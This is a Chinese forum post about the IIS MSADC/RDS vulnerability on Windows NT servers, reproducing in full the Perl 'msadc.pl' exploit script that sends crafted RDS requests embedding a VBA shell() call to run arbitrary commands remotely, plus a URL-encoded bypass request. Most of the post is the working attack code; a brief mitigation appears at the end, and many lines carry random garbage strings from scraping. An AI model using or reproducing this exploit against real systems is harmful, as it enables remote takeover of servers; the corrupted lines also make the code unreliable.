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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "" EQE>d  
2GG2jky{/  
涉及程序: xskz) kk  
Microsoft NT server VUuE T  
2&cT~ZX&'  
描述: gs`q6 f%(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 v`T c}c '  
qf-8<{T  
详细: )boE/4  
如果你没有时间读详细内容的话,就删除: -mh3DhJ,  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *{5fq_  
有关的安全问题就没有了。 (/$^uWj  
{P-):  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ~&uHbTq  
|Y.?_lC  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 );YDtGip J  
关于利用ODBC远程漏洞的描述,请参看: yB!dp;gM{  
[nh>vqum  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm VIbq:U  
o4WDh@d5S  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 3OB"#Ap8<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp &7s.`  
4skD(au8  
这里不再论述。 yf,z$CR  
qxc[M8s  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: x?<FJ"8"k  
mR)wX 6  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset vP,n(reM  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! N$tGQ@  
e'<)V_  
"J1 4C9u   
#将下面这段保存为txt文件,然后: "perl -x 文件名" Iga0 24KR  
\b>] 8Un"  
#!perl U $UIN#  
# ?q [T  
# MSADC/RDS 'usage' (aka exploit) script y1#1Ne_  
#  L"aeG  
# by rain.forest.puppy wuo,kM  
# q.}CU.dp  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me iURe([@  
# beta test and find errors! B-mowmJ3dg  
5lum$5  
use Socket; use Getopt::Std; |':{lH6+1  
getopts("e:vd:h:XR", \%args); y B$x>Q'C(  
n&!-9:0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; }QmqoCAE~m  
_u Il  
if (!defined $args{h} && !defined $args{R}) { xYB{;K  
print qq~ ;FEqe 49  
Usage: msadc.pl -h <host> { -d <delay> -X -v } pK4)yu+  
-h <host> = host you want to scan (ip or domain) K)P%;X  
-d <seconds> = delay between calls, default 1 second Tj- s4x  
-X = dump Index Server path table, if available rZpXPI  
-v = verbose QsW/X0YBv  
-e = external dictionary file for step 5 6dYMwMH  
"Y.y:Vv;  
Or a -R will resume a command session OZ&o:/*HM  
(tO\)aS=  
~; exit;} H"F29Pu2  
(-co.  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; #LNED)Vg  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _VXN#@y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "gwSJ~:ds  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); *K; ~!P  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} -n;}n:w L  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } WY]s |2a  
d"Y{UE  
if (!defined $args{R}){ $ret = &has_msadc; S8gs-gL#Og  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} d d;T-wa}  
fB,_9K5i  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ##ANrG l  
. "cmd /c "; i@'dH3-kO  
$in=<STDIN>; chomp $in; S]{oPc[7  
$command="cmd /c " . $in ; K> e7pu  
>R=|Wo`Ri  
if (defined $args{R}) {&load; exit;} FiU#T.`9'  
3 gf1ownC  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Z6m)tZVM  
&try_btcustmr; ?@89lLD  
:v 4]D4\o  
print "\nStep 2: Trying to make our own DSN..."; IR bfNq^:  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; WF"k[2  
DV{=n C  
print "\nStep 3: Trying known DSNs..."; Hx:;@_g q  
&known_dsn; hv+zGID7  
PI<vxjOK`  
print "\nStep 4: Trying known .mdbs..."; 1YMh1+1  
&known_mdb; 2T`!v  
~)'k 9?0  
if (defined $args{e}){ rM "l@3hP  
print "\nStep 5: Trying dictionary of DSN names..."; Y\tui+?J  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !&\INl-Z  
tnIX:6  
print "Sorry Charley...maybe next time?\n"; g=I})s:CTp  
exit; |cY`x(?yP  
GKCroyor  
############################################################################## 9!tW.pK5  
\j.:3X r  
sub sendraw { # ripped and modded from whisker @ .KGfNu  
sleep($delay); # it's a DoS on the server! At least on mine... FPTK`Gd0  
my ($pstr)=@_; h7@6T+#WoT  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8XbT`y  
die("Socket problems\n"); mV m Gg,  
if(connect(S,pack "SnA4x8",2,80,$target)){ I 2DpRMy  
select(S); $|=1; 9>$p  
print $pstr; my @in=<S>; L=h'Qgk%  
select(STDOUT); close(S); <\FH fE  
return @in; :H[6Lg\*  
} else { die("Can't connect...\n"); }} {:W$LWET  
Vz[C=_m  
############################################################################## M:V_/@W.  
@|)Z"m7  
sub make_header { # make the HTTP request 8r!zBKq2~  
my $msadc=<<EOT nF/OPd  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~_ a-E  
User-Agent: ACTIVEDATA $]8Q(/mbK  
Host: $ip F<w/PMb  
Content-Length: $clen RT5T1K08I  
Connection: Keep-Alive MY/}-* |  
3N:D6w-R  
ADCClientVersion:01.06 ::F|8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Np)lIGE  
:i7;w%B  
--!ADM!ROX!YOUR!WORLD! ]N[ 5q=A5  
Content-Type: application/x-varg )_NO4`ejs/  
Content-Length: $reqlen Q7A MRrN  
|D.ND%K&  
EOT ;=UsAB]  
; $msadc=~s/\n/\r\n/g; &-=5Xc+Z  
return $msadc;} {_dvx*M  
U%<Inb}ad  
############################################################################## WN<zkM~3  
QdC<Sk!G  
sub make_req { # make the RDS request W'.m'3#z  
my ($switch, $p1, $p2)=@_; w*MpX U<  
my $req=""; my $t1, $t2, $query, $dsn; Ca3~/KrM  
t0I{q0  
if ($switch==1){ # this is the btcustmr.mdb query ]:\dPw`A  
$query="Select * from Customers where City=" . make_shell(); } d }lR  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 8.~kK<)!  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} E~:x(5'%d  
%PJQ%~ A  
elsif ($switch==2){ # this is general make table query -!9G0h&i|  
$query="create table AZZ (B int, C varchar(10))"; nxHkv`s k  
$dsn="$p1";} Y4(  
K4);HJ|=  
elsif ($switch==3){ # this is general exploit table query w`=\5Oa.G  
$query="select * from AZZ where C=" . make_shell(); MJrR[h]  
$dsn="$p1";} 'P}0FktP`  
,v&(YOd  
elsif ($switch==4){ # attempt to hork file info from index server ei{eTp4HpV  
$query="select path from scope()"; O| hpXkV  
$dsn="Provider=MSIDXS;";} 4H<lm*!^  
d`6 ' Z  
elsif ($switch==5){ # bad query ?R#)1{(8d~  
$query="select"; k;L6R!V  
$dsn="$p1";} @OHm#`~  
$tS}LN_!  
$t1= make_unicode($query); }iuw5dik+  
$t2= make_unicode($dsn); I!?}jo3  
$req = "\x02\x00\x03\x00"; 40<mrVl  
$req.= "\x08\x00" . pack ("S1", length($t1)); _/K_[w 1  
$req.= "\x00\x00" . $t1 ; PiYxk+N  
$req.= "\x08\x00" . pack ("S1", length($t2)); 6JQ'Ik;$wX  
$req.= "\x00\x00" . $t2 ; V$?SR44>nH  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 8&aq/4:q0  
return $req;} J)C/u{o  
K96<M);:g  
############################################################################## (!N|Kl  
JO< wU  
sub make_shell { # this makes the shell() statement ?I@W:#>o  
return "'|shell(\"$command\")|'";} ia 73?*mXT  
3%ZOKb"D*  
############################################################################## *=c1d o%F  
mdg i5v  
sub make_unicode { # quick little function to convert to unicode VU d\QR-  
my ($in)=@_; my $out; D5HZ2cz|a  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } "FKOaQ%IH  
return $out;} @{O`E^}-D  
_#h_:  
############################################################################## uR r o?m<  
z]9MM 2+  
sub rdo_success { # checks for RDO return success (this is kludge) |H+Wed|  
my (@in) = @_; my $base=content_start(@in); UZsH9 o  
if($in[$base]=~/multipart\/mixed/){ IobD3:D8W  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} :Z z '1C  
return 0;} n=ux5M  
5[u]E~Fl}  
############################################################################## Nu7 !8[?r*  
w*JGUk  
sub make_dsn { # this makes a DSN for us ^]-6u:J!  
my @drives=("c","d","e","f"); Q)[C?obd v  
print "\nMaking DSN: "; > "=>3  
foreach $drive (@drives) { HoL Et8Q  
print "$drive: "; & 9 ?\b7  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . [1 9,&]z  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" KyQX!,rV  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Hg$lXtn]  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,Vk3kmuvr]  
return 0 if $2 eq "404"; # not found/doesn't exist 0=E]cQwh  
if($2 eq "200") { 1PV'?tXp(  
foreach $line (@results) { "!%l/_p?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} C-[eaHJ'$  
} return 0;} 'ub@]ru|  
$'hEz/  
############################################################################## :A'y+MnK<  
=zKM=qba  
sub verify_exists { =$Nq   
my ($page)=@_; e;}7G  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Ak"m 85B  
return $results[0];} KNIn:K^/  
5,6"&vU,  
############################################################################## [ ~&/s:Vvo  
ah+iZ}E%  
sub try_btcustmr { wx0j(:B]  
my @drives=("c","d","e","f"); X*@dj_,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); xx%j.zDI]  
r #cGop]  
foreach $dir (@dirs) { _8_R 1s  
print "$dir -> "; # fun status so you can see progress 4u5-7[TZ  
foreach $drive (@drives) { ]F'e aR  
print "$drive: "; # ditto g~A`N=r;h  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; v<(  
$reqlenlen=length( "$reqlen" ); "mvt>X  
$clen= 206 + $reqlenlen + $reqlen; h|{]B,.Lh  
DG:Z=LuJr  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); [}0haTYc4  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Q|?L*Pq2I  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 76h ,]xi  
oEKvl3Hz_  
############################################################################## 4 VW[E1<  
#Kex vP&*  
sub odbc_error { orMwAV  
my (@in)=@_; my $base; aH/ k Ua  
my $base = content_start(@in); FSW_<%  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this X!dYdWw*m  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;P%1j|7  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [;) ,\\u,d  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~<F8ug #  
return $in[$base+4].$in[$base+5].$in[$base+6];} 9H`XeQ.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; |_aa&v~  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . GH:jH]u!V  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]R f[y  
zL`iK"N`  
############################################################################## MC.) 2B7  
C mWgcw1  
sub verbose { V7fq4O^:  
my ($in)=@_; ::{Q1F  
return if !$verbose; 2?ez,*-[  
print STDOUT "\n$in\n";} UIN<2F_  
hAnPXiD  
############################################################################## >rKIG~P_  
} .m<  
sub save { =QiI :|eRA  
my ($p1, $p2, $p3, $p4)=@_; mQ 26K~  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; (b-MMr  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; c>:wd@w  
close OUT;} 9} M?P  
?:I*8Fj  
############################################################################## hVAn>_(  
NzOx0WLF  
sub load { "2$fi{9  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ryUQU^v  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Tc`=f'pP)4  
@p=<IN>; close(IN); peuZ&yK+"  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Ep3N&Imp  
$target= inet_aton($ip) || die("inet_aton problems"); $OkBg0  
print "Resuming to $ip ..."; 9oR@U W1  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^sEYOX\  
if($p[1]==1) { PB`Y g  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; :L@?2),  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; l=)xo@6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); n QZwC  
if (rdo_success(@results)){print "Success!\n";} hwBfdZ  
else { print "failed\n"; verbose(odbc_error(@results));}} 9YQb &  
elsif ($p[1]==3){ e+ BQww  
if(run_query("$p[3]")){ Z|j>gq  
print "Success!\n";} else { print "failed\n"; }} e95Lo+:f  
elsif ($p[1]==4){ j<jN05p  
if(run_query($drvst . "$p[3]")){ j8{i#;s!"  
print "Success!\n"; } else { print "failed\n"; }} aPfO$b:  
exit;} J1RJ*mo7,  
GmEJhr.3`=  
############################################################################## cyv`B3}  
Z=Y& B>:[  
sub create_table { p Vw}g@<M  
my ($in)=@_; )SRefW.v  
$reqlen=length( make_req(2,$in,"") ) - 28; @oY~..d`  
$reqlenlen=length( "$reqlen" ); u jq=F  
$clen= 206 + $reqlenlen + $reqlen; 6/Xk7B  
my @results=sendraw(make_header() . make_req(2,$in,"")); ?; +1)>{  
return 1 if rdo_success(@results); )E@.!Ut4o  
my $temp= odbc_error(@results); verbose($temp); JNYFD8J~  
return 1 if $temp=~/Table 'AZZ' already exists/; z] P SpUd  
return 0;} }mq6]ZrK  
dIa+K?INX  
############################################################################## xU>WEm2  
RD'Q :W  
sub known_dsn { #crQ1p) \  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go #9}D4i.`}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", D] jz A x  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", (%e .:W${  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); T?soJ]A  
?2;&O`x*  
foreach $dSn (@dsns) { ag#S6E^%S  
print "."; 8Pn#+IvCE  
next if (!is_access("DSN=$dSn")); %x{kc3PnO  
if(create_table("DSN=$dSn")){ zrL$]Oy}x  
print "$dSn successful\n"; )c83/= <v  
if(run_query("DSN=$dSn")){ [OV"}<V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { mPN@{.(j  
print "Something's borked. Use verbose next time\n";}}} print "\n";} aa?b`[Xa  
H*&f:mfq  
############################################################################## }{qZ[/JwqN  
k,E{C{^M  
sub is_access { EZy)A$|  
my ($in)=@_; QP^Cx=  
$reqlen=length( make_req(5,$in,"") ) - 28; +N9X/QFKV  
$reqlenlen=length( "$reqlen" ); ?U5{Wa85D  
$clen= 206 + $reqlenlen + $reqlen; 6?mibvK  
my @results=sendraw(make_header() . make_req(5,$in,"")); +[AQUc  
my $temp= odbc_error(@results); THbh%)Zv+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); '()xHEGl3  
return 0;} }=UHbU.n~!  
?'Xj g#}<  
############################################################################## W*4-.*U8a  
o"Euwh!!  
sub run_query { O=&0H|B  
my ($in)=@_; m!4ndO;0vh  
$reqlen=length( make_req(3,$in,"") ) - 28; g\(G\ tnu>  
$reqlenlen=length( "$reqlen" ); )}]g] g  
$clen= 206 + $reqlenlen + $reqlen; S)k*?dQ##R  
my @results=sendraw(make_header() . make_req(3,$in,"")); *1 ]uH e  
return 1 if rdo_success(@results); EXwo,?I  
my $temp= odbc_error(@results); verbose($temp); >CgTs  
return 0;} 1i"WDu*h3  
/-ch`u md  
############################################################################## 2LL'J7  
w%VU/6~  
sub known_mdb { tl4V7!U@^z  
my @drives=("c","d","e","f","g"); C:* *;=.  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,p@y] cr  
my $dir, $drive, $mdb; i]y<|W)Q3  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; :O?MSS;~  
FLCexlv^  
# this is sparse, because I don't know of many ,j}6? Q  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 5C*Pd Wpl  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", t#/YN.@r  
"\\system32\\certmdb.mdb",  ZrxD`1L  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% VT%NO'0  
trA4R/ &  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", :P\7iW  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ic:(Gi- %  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,I$`-$_'  
"\\cfusion\\cfapps\\security\\realm_.mdb", el<s8:lA  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", G<8/F<m/  
"\\cfusion\\database\\cfexamples.mdb", gJXq^~-hd  
"\\cfusion\\database\\cfsnippets.mdb", f ue(UMF~  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", SSg8}m5)Q  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }6}l7x  
"\\cfusion\\brighttiger\\database\\cleam.mdb", E7 Ul;d  
"\\cfusion\\database\\smpolicy.mdb", JEwa &  
"\\cfusion\\database\cypress.mdb", @=Uh',F  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", OU(8V^.  
"\\website\\cgi-win\\dbsample.mdb", s1$nvTzBr  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", u+e{Mim  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Y3cMC)  
); #these are just qu6D 5t  
foreach $drive (@drives) { nQtWvT  
foreach $dir (@dirs){ uR4z &y  
foreach $mdb (@sysmdbs) { PbgP\JeX  
print "."; "f2$w  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ }J`w4P  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Nk 8B_{  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){  O67W&nz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; )?n aN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} o>i4CCU+  
A5RN5`}  
foreach $drive (@drives) { ]G= L=D^cK  
foreach $mdb (@mdbs) { UWJ8amA  
print "."; IH&|Tcf\  
if(create_table($drv . $drive . $dir . $mdb)){ V`d,qn)i  
print "\n" . $drive . $dir . $mdb . " successful\n"; +wU@ynw  
if(run_query($drv . $drive . $dir . $mdb)){ F>6|3bOR  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; @R"JW\bd  
} else { print "Something's borked. Use verbose next time\n"; }}}} f:,DWw`B  
} UiP"Ixg6  
o.g V4%  
############################################################################## f#"J]p  
EHIF>@TZ  
sub hork_idx { wn, KY$/  
print "\nAttempting to dump Index Server tables...\n"; qzLPw*;  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; SC!RbW@3  
$reqlen=length( make_req(4,"","") ) - 28;  #ut  
$reqlenlen=length( "$reqlen" ); ]e^&aR5f"  
$clen= 206 + $reqlenlen + $reqlen; Jk11fn;\>  
my @results=sendraw2(make_header() . make_req(4,"","")); J T7nG.9  
if (rdo_success(@results)){ G1tY)_-8[  
my $max=@results; my $c; my %d; rjAn@!|:+  
for($c=19; $c<$max; $c++){ T#Z^s~7&I  
$results[$c]=~s/\x00//g; o5O#vW2Il&  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (k)v!O-  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ww3-^v  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; z`}qkbvi  
$d{"$1$2"}="";} 1;8UC;,  
foreach $c (keys %d){ print "$c\n"; } S-b/S5  
} else {print "Index server doesn't seem to be installed.\n"; }} EIAc@$4  
TR`U-= jH,  
############################################################################## 8)3*6+D  
(9 GWbB?  
sub dsn_dict { tBWrL{xLe  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); P[ck84F/  
while(<IN>){ *?>T,gx}  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; E\EsWb  
next if (!is_access("DSN=$dSn")); I@~QV@U  
if(create_table("DSN=$dSn")){ v`x.)S1  
print "$dSn successful\n"; Tc:)- z[o  
if(run_query("DSN=$dSn")){ FFpT~.  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }W8;=$jr  
print "Something's borked. Use verbose next time\n";}}} fc3{sZE2M  
print "\n"; close(IN);} [;yOBF  
W:nef<WH  
############################################################################## 3m)0z{n  
>J?fl8  
sub sendraw2 { # ripped and modded from whisker l0 m-$/  
sleep($delay); # it's a DoS on the server! At least on mine... $dC?Tl|B0  
my ($pstr)=@_; EU;9 *W<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || >dD@j:Qc  
die("Socket problems\n"); 1{. |+S Z!  
if(connect(S,pack "SnA4x8",2,80,$target)){ 70nqD>M4  
print "Connected. Getting data"; GPudaF{  
open(OUT,">raw.out"); my @in; ]Sz:|%JP1  
select(S); $|=1; print $pstr; T!kN)#S  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} n\'4  
close(OUT); select(STDOUT); close(S); return @in; XJ\DVZ  
} else { die("Can't connect...\n"); }} ?4&e;83_#y  
(OL4Ex']  
############################################################################## MK~8}x2K  
$6 9&O  
sub content_start { # this will take in the server headers  . iI  
my (@in)=@_; my $c; wo/\]5  
for ($c=1;$c<500;$c++) {  KC6.Fr{  
if($in[$c] =~/^\x0d\x0a/){ [kB7@o  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }  `25yE/  
else { return $c+1; }}} M h}m;NI  
return -1;} # it should never get here actually gO-  _  
pa3{8x{9m  
############################################################################## QO~P7r|A  
uyWunpT  
sub funky { 2- h{N  
my (@in)=@_; my $error=odbc_error(@in); qgHWUwr+n  
if($error=~/ADO could not find the specified provider/){ 783,s_  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; >\#*P'y`d  
exit;} Eyqa?$R  
if($error=~/A Handler is required/){ C2I_%nU Z1  
print "\nServer has custom handler filters (they most likely are patched)\n"; &`r-.&Y  
exit;} LA5(sp@O  
if($error=~/specified Handler has denied Access/){ k%#EEMh  
print "\nServer has custom handler filters (they most likely are patched)\n"; "Gzz4D  
exit;}} lgy <?LI\  
@Uvz8*b6  
############################################################################## tSUEZ62EY  
5Ln,{vsv  
sub has_msadc { ueWEc^_>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 3(N$nsi  
my $base=content_start(@results); .! 3|&V'<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); P3=G1=47U  
return 0;} RSRS wkC  
3jU&zw9  
######################## -d/ =5yxL  
JFmC\  
pYEMmZ?L  
解决方案:  7xlkZF  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 8kIksy  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 a58H9w"u)  
+\]\[6  
拿出来充数 哈哈
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